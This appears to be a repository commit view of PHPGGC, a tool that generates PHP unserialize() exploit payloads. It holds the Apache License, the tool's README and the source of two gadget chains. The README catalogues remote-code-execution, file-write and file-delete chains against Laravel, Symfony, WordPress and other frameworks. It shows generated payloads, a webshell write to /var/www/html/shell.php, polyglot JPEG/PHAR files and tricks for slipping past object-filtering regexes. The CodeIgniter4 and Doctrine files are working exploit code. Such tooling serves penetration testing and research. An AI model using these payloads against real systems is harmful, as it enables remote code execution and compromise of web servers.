New upstream version 0.20191206
Joseph O'Gorman
4 years ago
0 | ||
1 | Apache License | |
2 | Version 2.0, January 2004 | |
3 | http://www.apache.org/licenses/ | |
4 | ||
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION | |
6 | ||
7 | 1. Definitions. | |
8 | ||
9 | "License" shall mean the terms and conditions for use, reproduction, | |
10 | and distribution as defined by Sections 1 through 9 of this document. | |
11 | ||
12 | "Licensor" shall mean the copyright owner or entity authorized by | |
13 | the copyright owner that is granting the License. | |
14 | ||
15 | "Legal Entity" shall mean the union of the acting entity and all | |
16 | other entities that control, are controlled by, or are under common | |
17 | control with that entity. For the purposes of this definition, | |
18 | "control" means (i) the power, direct or indirect, to cause the | |
19 | direction or management of such entity, whether by contract or | |
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the | |
21 | outstanding shares, or (iii) beneficial ownership of such entity. | |
22 | ||
23 | "You" (or "Your") shall mean an individual or Legal Entity | |
24 | exercising permissions granted by this License. | |
25 | ||
26 | "Source" form shall mean the preferred form for making modifications, | |
27 | including but not limited to software source code, documentation | |
28 | source, and configuration files. | |
29 | ||
30 | "Object" form shall mean any form resulting from mechanical | |
31 | transformation or translation of a Source form, including but | |
32 | not limited to compiled object code, generated documentation, | |
33 | and conversions to other media types. | |
34 | ||
35 | "Work" shall mean the work of authorship, whether in Source or | |
36 | Object form, made available under the License, as indicated by a | |
37 | copyright notice that is included in or attached to the work | |
38 | (an example is provided in the Appendix below). | |
39 | ||
40 | "Derivative Works" shall mean any work, whether in Source or Object | |
41 | form, that is based on (or derived from) the Work and for which the | |
42 | editorial revisions, annotations, elaborations, or other modifications | |
43 | represent, as a whole, an original work of authorship. For the purposes | |
44 | of this License, Derivative Works shall not include works that remain | |
45 | separable from, or merely link (or bind by name) to the interfaces of, | |
46 | the Work and Derivative Works thereof. | |
47 | ||
48 | "Contribution" shall mean any work of authorship, including | |
49 | the original version of the Work and any modifications or additions | |
50 | to that Work or Derivative Works thereof, that is intentionally | |
51 | submitted to Licensor for inclusion in the Work by the copyright owner | |
52 | or by an individual or Legal Entity authorized to submit on behalf of | |
53 | the copyright owner. For the purposes of this definition, "submitted" | |
54 | means any form of electronic, verbal, or written communication sent | |
55 | to the Licensor or its representatives, including but not limited to | |
56 | communication on electronic mailing lists, source code control systems, | |
57 | and issue tracking systems that are managed by, or on behalf of, the | |
58 | Licensor for the purpose of discussing and improving the Work, but | |
59 | excluding communication that is conspicuously marked or otherwise | |
60 | designated in writing by the copyright owner as "Not a Contribution." | |
61 | ||
62 | "Contributor" shall mean Licensor and any individual or Legal Entity | |
63 | on behalf of whom a Contribution has been received by Licensor and | |
64 | subsequently incorporated within the Work. | |
65 | ||
66 | 2. Grant of Copyright License. Subject to the terms and conditions of | |
67 | this License, each Contributor hereby grants to You a perpetual, | |
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable | |
69 | copyright license to reproduce, prepare Derivative Works of, | |
70 | publicly display, publicly perform, sublicense, and distribute the | |
71 | Work and such Derivative Works in Source or Object form. | |
72 | ||
73 | 3. Grant of Patent License. Subject to the terms and conditions of | |
74 | this License, each Contributor hereby grants to You a perpetual, | |
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable | |
76 | (except as stated in this section) patent license to make, have made, | |
77 | use, offer to sell, sell, import, and otherwise transfer the Work, | |
78 | where such license applies only to those patent claims licensable | |
79 | by such Contributor that are necessarily infringed by their | |
80 | Contribution(s) alone or by combination of their Contribution(s) | |
81 | with the Work to which such Contribution(s) was submitted. If You | |
82 | institute patent litigation against any entity (including a | |
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work | |
84 | or a Contribution incorporated within the Work constitutes direct | |
85 | or contributory patent infringement, then any patent licenses | |
86 | granted to You under this License for that Work shall terminate | |
87 | as of the date such litigation is filed. | |
88 | ||
89 | 4. Redistribution. You may reproduce and distribute copies of the | |
90 | Work or Derivative Works thereof in any medium, with or without | |
91 | modifications, and in Source or Object form, provided that You | |
92 | meet the following conditions: | |
93 | ||
94 | (a) You must give any other recipients of the Work or | |
95 | Derivative Works a copy of this License; and | |
96 | ||
97 | (b) You must cause any modified files to carry prominent notices | |
98 | stating that You changed the files; and | |
99 | ||
100 | (c) You must retain, in the Source form of any Derivative Works | |
101 | that You distribute, all copyright, patent, trademark, and | |
102 | attribution notices from the Source form of the Work, | |
103 | excluding those notices that do not pertain to any part of | |
104 | the Derivative Works; and | |
105 | ||
106 | (d) If the Work includes a "NOTICE" text file as part of its | |
107 | distribution, then any Derivative Works that You distribute must | |
108 | include a readable copy of the attribution notices contained | |
109 | within such NOTICE file, excluding those notices that do not | |
110 | pertain to any part of the Derivative Works, in at least one | |
111 | of the following places: within a NOTICE text file distributed | |
112 | as part of the Derivative Works; within the Source form or | |
113 | documentation, if provided along with the Derivative Works; or, | |
114 | within a display generated by the Derivative Works, if and | |
115 | wherever such third-party notices normally appear. The contents | |
116 | of the NOTICE file are for informational purposes only and | |
117 | do not modify the License. You may add Your own attribution | |
118 | notices within Derivative Works that You distribute, alongside | |
119 | or as an addendum to the NOTICE text from the Work, provided | |
120 | that such additional attribution notices cannot be construed | |
121 | as modifying the License. | |
122 | ||
123 | You may add Your own copyright statement to Your modifications and | |
124 | may provide additional or different license terms and conditions | |
125 | for use, reproduction, or distribution of Your modifications, or | |
126 | for any such Derivative Works as a whole, provided Your use, | |
127 | reproduction, and distribution of the Work otherwise complies with | |
128 | the conditions stated in this License. | |
129 | ||
130 | 5. Submission of Contributions. Unless You explicitly state otherwise, | |
131 | any Contribution intentionally submitted for inclusion in the Work | |
132 | by You to the Licensor shall be under the terms and conditions of | |
133 | this License, without any additional terms or conditions. | |
134 | Notwithstanding the above, nothing herein shall supersede or modify | |
135 | the terms of any separate license agreement you may have executed | |
136 | with Licensor regarding such Contributions. | |
137 | ||
138 | 6. Trademarks. This License does not grant permission to use the trade | |
139 | names, trademarks, service marks, or product names of the Licensor, | |
140 | except as required for reasonable and customary use in describing the | |
141 | origin of the Work and reproducing the content of the NOTICE file. | |
142 | ||
143 | 7. Disclaimer of Warranty. Unless required by applicable law or | |
144 | agreed to in writing, Licensor provides the Work (and each | |
145 | Contributor provides its Contributions) on an "AS IS" BASIS, | |
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or | |
147 | implied, including, without limitation, any warranties or conditions | |
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A | |
149 | PARTICULAR PURPOSE. You are solely responsible for determining the | |
150 | appropriateness of using or redistributing the Work and assume any | |
151 | risks associated with Your exercise of permissions under this License. | |
152 | ||
153 | 8. Limitation of Liability. In no event and under no legal theory, | |
154 | whether in tort (including negligence), contract, or otherwise, | |
155 | unless required by applicable law (such as deliberate and grossly | |
156 | negligent acts) or agreed to in writing, shall any Contributor be | |
157 | liable to You for damages, including any direct, indirect, special, | |
158 | incidental, or consequential damages of any character arising as a | |
159 | result of this License or out of the use or inability to use the | |
160 | Work (including but not limited to damages for loss of goodwill, | |
161 | work stoppage, computer failure or malfunction, or any and all | |
162 | other commercial damages or losses), even if such Contributor | |
163 | has been advised of the possibility of such damages. | |
164 | ||
165 | 9. Accepting Warranty or Additional Liability. While redistributing | |
166 | the Work or Derivative Works thereof, You may choose to offer, | |
167 | and charge a fee for, acceptance of support, warranty, indemnity, | |
168 | or other liability obligations and/or rights consistent with this | |
169 | License. However, in accepting such obligations, You may act only | |
170 | on Your own behalf and on Your sole responsibility, not on behalf | |
171 | of any other Contributor, and only if You agree to indemnify, | |
172 | defend, and hold each Contributor harmless for any liability | |
173 | incurred by, or claims asserted against, such Contributor by reason | |
174 | of your accepting any such warranty or additional liability. | |
175 | ||
176 | END OF TERMS AND CONDITIONS | |
177 | ||
178 | APPENDIX: How to apply the Apache License to your work. | |
179 | ||
180 | To apply the Apache License to your work, attach the following | |
181 | boilerplate notice, with the fields enclosed by brackets "[]" | |
182 | replaced with your own identifying information. (Don't include | |
183 | the brackets!) The text should be enclosed in the appropriate | |
184 | comment syntax for the file format. We also recommend that a | |
185 | file or class name and description of purpose be included on the | |
186 | same "printed page" as the copyright notice for easier | |
187 | identification within third-party archives. | |
188 | ||
189 | Copyright [yyyy] [name of copyright owner] | |
190 | ||
191 | Licensed under the Apache License, Version 2.0 (the "License"); | |
192 | you may not use this file except in compliance with the License. | |
193 | You may obtain a copy of the License at | |
194 | ||
195 | http://www.apache.org/licenses/LICENSE-2.0 | |
196 | ||
197 | Unless required by applicable law or agreed to in writing, software | |
198 | distributed under the License is distributed on an "AS IS" BASIS, | |
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
200 | See the License for the specific language governing permissions and | |
201 | limitations under the License. |
0 | # PHPGGC: PHP Generic Gadget Chains | |
1 | ||
2 | *PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically*. | |
3 | When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of [frohoff's ysoserial](https://github.com/frohoff/ysoserial), but for PHP. | |
4 | Currently, the tool supports: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii and ZendFramework. | |
5 | ||
6 | ||
7 | ## Requirements | |
8 | ||
9 | PHP >= 5.6 is required to run PHPGGC. | |
10 | ||
11 | ||
12 | ## Usage | |
13 | ||
14 | Run `./phpggc -l` to obtain a list of gadget chains: | |
15 | ||
16 | ``` | |
17 | $ ./phpggc -l | |
18 | ||
19 | Gadget Chains | |
20 | ------------- | |
21 | ||
22 | NAME VERSION TYPE VECTOR I | |
23 | CodeIgniter4/RCE1 4.0.0-beta.1 <= ? rce __destruct | |
24 | Doctrine/FW1 ? file_write __toString * | |
25 | Drupal7/FD1 7.0 < ? file_delete __destruct * | |
26 | Drupal7/RCE1 7.0.8 < ? rce __destruct * | |
27 | Guzzle/FW1 6.0.0 <= 6.3.3+ file_write __destruct | |
28 | Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * | |
29 | Guzzle/RCE1 6.0.0 <= 6.3.2 rce __destruct * | |
30 | Laravel/RCE1 5.4.27 rce __destruct | |
31 | Laravel/RCE2 5.5.39 rce __destruct | |
32 | Laravel/RCE3 5.5.39 rce __destruct * | |
33 | Laravel/RCE4 5.5.39 rce __destruct | |
34 | Laravel/RCE5 5.8.30 rce __destruct * | |
35 | Laravel/RCE6 5.5.* rce __destruct * | |
36 | Magento/FW1 ? <= 1.9.4.0 file_write __destruct * | |
37 | Magento/SQLI1 ? <= 1.9.4.0 sql_injection __destruct | |
38 | Monolog/RCE1 1.18 <= 1.23 rce __destruct | |
39 | Monolog/RCE2 1.5 <= 1.17 rce __destruct | |
40 | Phalcon/RCE1 <= 1.2.2 rce __wakeup * | |
41 | Pydio/Guzzle/RCE1 < 8.2.2 rce __toString | |
42 | Slim/RCE1 3.8.1 rce __toString | |
43 | SwiftMailer/FD1 -5.4.12+, -6.2.1+ file_delete __destruct | |
44 | SwiftMailer/FW1 5.1.0 <= 5.4.8 file_write __toString | |
45 | SwiftMailer/FW2 6.0.0 <= 6.0.1 file_write __toString | |
46 | SwiftMailer/FW3 5.0.1 file_write __toString | |
47 | SwiftMailer/FW4 4.0.0 <= ? file_write __destruct | |
48 | Symfony/FW1 2.5.2 file_write DebugImport * | |
49 | Symfony/FW2 3.4 file_write __destruct | |
50 | Symfony/RCE1 3.3 rce __destruct * | |
51 | Symfony/RCE2 2.3.42 < 2.6 rce __destruct * | |
52 | Symfony/RCE3 2.6 <= 2.8.32 rce __destruct * | |
53 | Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 rce __destruct * | |
54 | ThinkPHP/RCE1 5.1.x-5.2.x rce __destruct * | |
55 | WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ rce __toString * | |
56 | WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ rce __destruct * | |
57 | WordPress/P/WooCommerce/RCE1 3.4.0 <= 3.6.2+ rce __destruct * | |
58 | WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 rce __destruct * | |
59 | Yii/RCE1 1.1.20 rce __wakeup * | |
60 | ZendFramework/FD1 ? <= 1.12.20 file_delete __destruct | |
61 | ZendFramework/RCE1 ? <= 1.12.20 rce __destruct * | |
62 | ZendFramework/RCE2 1.11.12 <= 1.12.20 rce __toString * | |
63 | ZendFramework/RCE3 2.0.1 <= ? rce __destruct | |
64 | ||
65 | ``` | |
66 | ||
67 | Every gadget chain has: | |
68 | ||
69 | - Name: Name of the framework/library | |
70 | - Version: Version of the framework/library for which gadgets are for | |
71 | - Type: Type of exploitation: RCE, File Write, File Read, Include... | |
72 | - Vector: the vector to trigger the chain after the unserialize (`__destruct()`, `__toString()`, `offsetGet()`, ...) | |
73 | - Informations: Other informations about the chain | |
74 | ||
75 | Use `-i` to get detailed information about a chain: | |
76 | ||
77 | ``` | |
78 | $ ./phpggc -i symfony/rce1 | |
79 | Name : Symfony/RCE1 | |
80 | Version : 3.3 | |
81 | Type : rce | |
82 | Vector : __destruct | |
83 | Informations : | |
84 | Exec through proc_open() | |
85 | ||
86 | ./phpggc Symfony/RCE1 <command> | |
87 | ``` | |
88 | ||
89 | Once you have selected a chain, run `./phpggc <gadget-chain> [parameters]` to obtain the payload. | |
90 | For instance, to obtain a payload for Monolog, you'd do: | |
91 | ||
92 | ``` | |
93 | $ ./phpggc monolog/rce1 assert 'phpinfo()' | |
94 | O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}} | |
95 | ``` | |
96 | ||
97 | For a file write using SwiftMailer, you'd do: | |
98 | ||
99 | ``` | |
100 | $ echo 'It works !' > /tmp/data | |
101 | $ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data | |
102 | O:13:"Swift_Message":8:{...} | |
103 | ``` | |
104 | ||
105 | ||
106 | ## Wrapper | |
107 | ||
108 | The `--wrapper` (`-w`) option allows you to define a PHP file containing the following functions: | |
109 | ||
110 | - `process_parameters($parameters)`: Called right **before** `generate()`, allows to change parameters | |
111 | - `process_object($object)`: Called right **before** `serialize()`, allows to change the object | |
112 | - `process_serialized($serialized)`: Called right **after** `serialize()`, allows to change the serialized string | |
113 | ||
114 | For instance, if the vulnerable code looks like this: | |
115 | ||
116 | ```php | |
117 | <?php | |
118 | $data = unserialize($_GET['data']); | |
119 | print $data['message']; | |
120 | ``` | |
121 | ||
122 | You could use a `__toString()` chain, wrapping it like so: | |
123 | ||
124 | ```php | |
125 | <?php | |
126 | # /tmp/my_wrapper.php | |
127 | function process_object($object) | |
128 | { | |
129 | return array( | |
130 | 'message' => $object | |
131 | ); | |
132 | } | |
133 | ``` | |
134 | ||
135 | And you'd call phpggc like so: | |
136 | ||
137 | ``` | |
138 | $ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id | |
139 | a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}} | |
140 | ``` | |
141 | ||
142 | ## PHAR(GGC) | |
143 | ||
144 | ### History | |
145 | ||
146 | At BlackHat US 2018, @s_n_t released PHARGGC, a fork of PHPGGC which instead of building a serialized payload, builds a whole PHAR file. This PHAR file contains serialized data and as such can be used for various exploitation techniques (`file_exists`, `fopen`, etc.). The paper is [here](https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf). | |
147 | ||
148 | ### Implementation | |
149 | ||
150 | PHAR archives come in three different formats: **PHAR, TAR, and ZIP**. The three of them are supported by PHPGGC. | |
151 | Polyglot files can be generated using `--phar-jpeg` (`-pj`). Other options are available (use `-h`). | |
152 | ||
153 | ### Examples | |
154 | ||
155 | ``` | |
156 | $ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar | |
157 | $ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id | |
158 | $ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar | |
159 | $ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id | |
160 | $ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar | |
161 | $ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id | |
162 | ``` | |
163 | ||
164 | ||
165 | ## Encoders | |
166 | ||
167 | Arguments allow to modify the way the payload is output. For instance, `-u` will URL encode it, and `-b` will convert it to base64. | |
168 | **Payloads often contain NULL bytes and cannot be copy/pasted as-is**. Use `-s` for a soft URL encode, which keeps the payload readable. | |
169 | ||
170 | The encoders can be chained, and as such **the order is important**. For instance, `./phpggc -b -u -u slim/rce1 system id` will base64 the payload, then URLencode it twice. | |
171 | ||
172 | ||
173 | ## Advanced: Enhancements | |
174 | ||
175 | ### Fast destruct | |
176 | ||
177 | PHPGGC implements a `--fast-destruct` (`-f`) flag, that will make sure your serialized object will be destroyed right after the `unserialize()` call, and not at the end of the script. **I'd recommend using it for every `__destruct` vector**, as it improves reliability. For instance, if PHP script raises an exception after the call, the `__destruct` method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first. | |
178 | ||
179 | ``` | |
180 | $ ./phpggc -f -s slim/rce1 system id | |
181 | a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"... | |
182 | ``` | |
183 | ||
184 | ### ASCII Strings | |
185 | ||
186 | Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII value to an hexadecimal representation: | |
187 | `s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"A\00B\09\0D";` | |
188 | This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values. | |
189 | *Note: this is experimental and it might not work in some cases.* | |
190 | ||
191 | ### Plus Numbers | |
192 | ||
193 | Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as `/O:[0-9]+:`. This is easily bypassed using `O:+123:...` instead of `O:123:`. One can use `--plus-numbers <types>`, or `-n <types>`, to automatically add these `+` signs in front of symbols. | |
194 | For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only i and d (float) types can have a +. | |
195 | ||
196 | ||
197 | # API | |
198 | ||
199 | Instead of using PHPGGC as a command line tool, you can program PHP scripts: | |
200 | ||
201 | ```php | |
202 | <?php | |
203 | ||
204 | # Include PHPGGC | |
205 | include("phpggc/lib/PHPGGC.php"); | |
206 | ||
207 | # Include guzzle/rce1 | |
208 | $gc = new \GadgetChain\Guzzle\RCE1(); | |
209 | ||
210 | # Always process parameters unless you're doing something out of the ordinary | |
211 | $parameters = $gc->process_parameters([ | |
212 | 'function' => 'system', | |
213 | 'parameter' => 'id', | |
214 | ]); | |
215 | ||
216 | # Generate the payload | |
217 | $object = $gc->generate($parameters); | |
218 | ||
219 | # Most (if not all) GC's do not use process_object and process_serialized, so | |
220 | # for quick & dirty code you can omit those two | |
221 | $object = $gc->process_object($object); | |
222 | ||
223 | # Serialize the payload | |
224 | $serialized = serialize($object); | |
225 | $serialized = $gc->process_serialized($serialized); | |
226 | ||
227 | # Display it | |
228 | print($serialized . "\n"); | |
229 | ||
230 | # Create a PHAR file from this payload | |
231 | $phar = new \PHPGGC\Phar\Tar($serialized); | |
232 | file_put_contents('output.phar.tar', $phar->generate()); | |
233 | ``` | |
234 | ||
235 | This allows you to tweak the parameters or write exploits more easily. | |
236 | *Note: This is pretty experimental at the moment, so please, report bugs*. | |
237 | ||
238 | ||
239 | # Contributing | |
240 | ||
241 | Pull requests are more than welcome. Please follow these simple guidelines: | |
242 | ||
243 | - `__destruct()` is always the best vector | |
244 | - Specify at least the version of the library you've built the payload on | |
245 | - Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems. | |
246 | - Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger. | |
247 | ||
248 | Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_. | |
249 | You can define pre- and post- processing methods, if parameters need to be modified. | |
250 | Hopefully, the already implemented gadgets should be enough for you to build yours. | |
251 | Otherwise, I'd be glad to answer your questions. | |
252 | ||
253 | The `--new <framework> <type>` command-line option can be used to create the directory and file structure for a new gadget chain. | |
254 | For instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetchain. | |
255 | ||
256 | ||
257 | # License | |
258 | ||
259 | [Apache License 2.0](LICENSE) |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\CodeIgniter4; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '4.0.0-beta.1 <= ?'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'eboda'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | return new \CodeIgniter\Cache\Handlers\RedisHandler($function, $parameter); | |
16 | } | |
17 | } |
0 | <?php | |
1 | namespace CodeIgniter\Cache\Handlers { | |
2 | class RedisHandler { | |
3 | protected $redis; | |
4 | ||
5 | public function __construct($func, $param) { | |
6 | $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler( | |
7 | new \CodeIgniter\Model( | |
8 | new \CodeIgniter\Database\BaseBuilder, | |
9 | new \CodeIgniter\Validation\Validation, | |
10 | $func | |
11 | ), | |
12 | $param | |
13 | ); | |
14 | } | |
15 | } | |
16 | } | |
17 | ||
18 | namespace CodeIgniter\Session\Handlers { | |
19 | class MemcachedHandler { | |
20 | protected $memcached; | |
21 | protected $lockKey; | |
22 | ||
23 | public function __construct($memcached, $param) { | |
24 | $this->lockKey = $param; | |
25 | $this->memcached = $memcached; | |
26 | } | |
27 | } | |
28 | } | |
29 | ||
30 | namespace CodeIgniter { | |
31 | class Model { | |
32 | protected $builder; | |
33 | protected $primaryKey; | |
34 | protected $beforeDelete; | |
35 | protected $validationRules; | |
36 | protected $validation; | |
37 | ||
38 | public function __construct($builder, $validation, $func) { | |
39 | $this->builder = $builder; | |
40 | $this->primaryKey = null; | |
41 | ||
42 | $this->beforeDelete = array(); | |
43 | $this->beforeDelete[] = "validate"; | |
44 | ||
45 | $this->validation = $validation; | |
46 | $this->validationRules = array( | |
47 | "id" => array( | |
48 | "rules" => array($func) | |
49 | ) | |
50 | ); | |
51 | } | |
52 | } | |
53 | } | |
54 | ||
55 | namespace CodeIgniter\Validation { | |
56 | class Validation { | |
57 | protected $ruleSetFiles; | |
58 | ||
59 | public function __construct() { | |
60 | $this->ruleSetFiles = array("finfo"); | |
61 | } | |
62 | } | |
63 | } | |
64 | ||
65 | namespace CodeIgniter\Database { | |
66 | class BaseBuilder { | |
67 | } | |
68 | } | |
69 | ||
70 |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Doctrine; | |
3 | ||
4 | use \Doctrine\ORM\EntityManager; | |
5 | use \Doctrine\ORM\Configuration; | |
6 | use \Doctrine\ORM\Mapping\ClassMetadataFactory; | |
7 | use \Doctrine\ORM\Query\ResultSetMappingBuilder; | |
8 | use \Doctrine\Common\Cache\FilesystemCache; | |
9 | use \Doctrine\Common\Annotations\CachedReader; | |
10 | use \Doctrine\ORM\Mapping\Driver\AnnotationDriver; | |
11 | ||
12 | ||
13 | class FW1 extends \PHPGGC\GadgetChain\FileWrite | |
14 | { | |
15 | public static $version = '?'; | |
16 | public static $vector = '__toString'; | |
17 | public static $author = 'cf'; | |
18 | public static $informations = ' | |
19 | We do not have full control of the path. If you enter | |
20 | /var/www/toto/shell.php as the remote_path, it will be converted to | |
21 | /var/www/toto/e3/5b737464436c61737324434c4153534d455441444154415d5b315d.php. | |
22 | Only the extension and base path are kept. | |
23 | '; | |
24 | ||
25 | public function process_parameters(array $parameters) | |
26 | { | |
27 | $parameters = parent::process_parameters($parameters); | |
28 | # Sadly we cannot control the full path | |
29 | # We only have control over the base directory, and the extension | |
30 | $path = $parameters['remote_path']; | |
31 | $infos = (object) pathinfo($path); | |
32 | ||
33 | if(isset($infos->extension)) | |
34 | $parameters['extension'] = '.' . $infos->extension; | |
35 | else | |
36 | $parameters['extension'] = ''; | |
37 | ||
38 | $parameters['directory'] = $infos->dirname; | |
39 | $parameters['path'] = $infos->dirname . '/e3/5b737464436c61737324434c4153534d455441444154415d5b315d' . $parameters['extension']; | |
40 | return $parameters; | |
41 | } | |
42 | ||
43 | public function generate(array $parameters) | |
44 | { | |
45 | $c = new Configuration([ | |
46 | ||
47 | ]); | |
48 | $table = (object) [ | |
49 | 'name' => $parameters['data'], | |
50 | 'schema' => '', | |
51 | 'indexes' => null, | |
52 | 'uniqueConstraints' => null, | |
53 | 'options' => null | |
54 | ]; | |
55 | $em0 = new EntityManager(null, $c); | |
56 | $d0 = new AnnotationDriver(new CachedReader([ | |
57 | 'stdClass' => | |
58 | [ | |
59 | 'Doctrine\ORM\Mapping\Embeddable' => true, | |
60 | 'Doctrine\ORM\Mapping\Table' => $table | |
61 | ] | |
62 | ])); | |
63 | $fc = new FilesystemCache($parameters['directory'], $parameters['extension']); | |
64 | $mf = new ClassMetadataFactory($fc, $em0, $d0); | |
65 | $em = new EntityManager($mf, null); | |
66 | $writer = new ResultSetMappingBuilder($em); | |
67 | ||
68 | return $writer; | |
69 | } | |
70 | } |
0 | <?php | |
1 | namespace Doctrine\ORM\Mapping\Driver | |
2 | { | |
3 | use Doctrine\Common\Persistence\Mapping\Driver\AnnotationDriver as AbstractAnnotationDriver; | |
4 | ||
5 | class AnnotationDriver extends AbstractAnnotationDriver | |
6 | { | |
7 | ||
8 | } | |
9 | } | |
10 | ||
11 | namespace Doctrine\Common\Persistence\Mapping\Driver | |
12 | { | |
13 | class AnnotationDriver | |
14 | { | |
15 | protected $reader; | |
16 | protected $paths = []; | |
17 | protected $excludePaths = []; | |
18 | protected $fileExtension = '.php'; | |
19 | protected $classNames; | |
20 | protected $entityAnnotationClasses = []; | |
21 | ||
22 | function __construct($reader) | |
23 | { | |
24 | $this->reader = $reader; | |
25 | } | |
26 | } | |
27 | } | |
28 | ||
29 | namespace Doctrine\Common\Annotations | |
30 | { | |
31 | final class CachedReader | |
32 | { | |
33 | private $loadedAnnotations; | |
34 | ||
35 | function __construct($loadedAnnotations) | |
36 | { | |
37 | $this->loadedAnnotations = $loadedAnnotations; | |
38 | } | |
39 | } | |
40 | } | |
41 | ||
42 | namespace Doctrine\ORM\Query | |
43 | { | |
44 | class ResultSetMapping | |
45 | { | |
46 | public $declaringClasses = array(); | |
47 | public $columnOwnerMap = array(); | |
48 | public $fieldMappings = array(); | |
49 | ||
50 | } | |
51 | ||
52 | # $class = $this->em->getClassMetadata($this->declaringClasses[$columnName]); | |
53 | # $sql .= $class->fieldMappings[$this->fieldMappings[$columnName]]['columnName']; | |
54 | class ResultSetMappingBuilder extends ResultSetMapping | |
55 | { | |
56 | private $em; | |
57 | ||
58 | function __construct($em) | |
59 | { | |
60 | $columnName = 'X'; | |
61 | $this->columnOwnerMap[$columnName] = null; | |
62 | $this->fieldMappings[$columnName] = 0; | |
63 | $this->declaringClasses[$columnName] = 'stdClass'; | |
64 | $this->em = $em; | |
65 | } | |
66 | } | |
67 | } | |
68 | ||
69 | namespace Doctrine\ORM | |
70 | { | |
71 | class EntityManager | |
72 | { | |
73 | private $config; | |
74 | private $metadataFactory; | |
75 | private $closed = false; | |
76 | ||
77 | function __construct($metadataFactory, $config) | |
78 | { | |
79 | $this->metadataFactory = $metadataFactory; | |
80 | $this->config = $config; | |
81 | } | |
82 | } | |
83 | ||
84 | class Configuration extends \Doctrine\DBAL\Configuration | |
85 | { | |
86 | ||
87 | } | |
88 | } | |
89 | ||
90 | namespace Doctrine\DBAL | |
91 | { | |
92 | class Configuration | |
93 | { | |
94 | protected $_attributes = array(); | |
95 | ||
96 | function __construct($_attributes) | |
97 | { | |
98 | $this->_attributes = $_attributes; | |
99 | } | |
100 | } | |
101 | } | |
102 | ||
103 | namespace Doctrine\Common\Persistence\Mapping | |
104 | { | |
105 | abstract class AbstractClassMetadataFactory | |
106 | { | |
107 | protected $cacheSalt = '$CLASSMETADATA'; | |
108 | private $cacheDriver; | |
109 | protected $initialized = true; | |
110 | ||
111 | function __construct($cacheDriver) | |
112 | { | |
113 | $this->cacheDriver = $cacheDriver; | |
114 | } | |
115 | } | |
116 | } | |
117 | ||
118 | namespace Doctrine\ORM\Mapping | |
119 | { | |
120 | use \Doctrine\Common\Persistence\Mapping\AbstractClassMetadataFactory; | |
121 | use \Doctrine\Common\EventManager; | |
122 | ||
123 | class ClassMetadataFactory extends AbstractClassMetadataFactory | |
124 | { | |
125 | private $em; | |
126 | private $driver; | |
127 | private $evm; | |
128 | ||
129 | function __construct($cacheDriver, $em, $driver) | |
130 | { | |
131 | parent::__construct($cacheDriver); | |
132 | $this->em = $em; | |
133 | $this->driver = $driver; | |
134 | $this->evm = new EventManager(); | |
135 | } | |
136 | } | |
137 | } | |
138 | ||
139 | namespace Doctrine\Common\Persistence\Mapping\Driver | |
140 | { | |
141 | class DefaultFileLocator | |
142 | { | |
143 | protected $paths = ['']; | |
144 | protected $fileExtension; | |
145 | } | |
146 | } | |
147 | ||
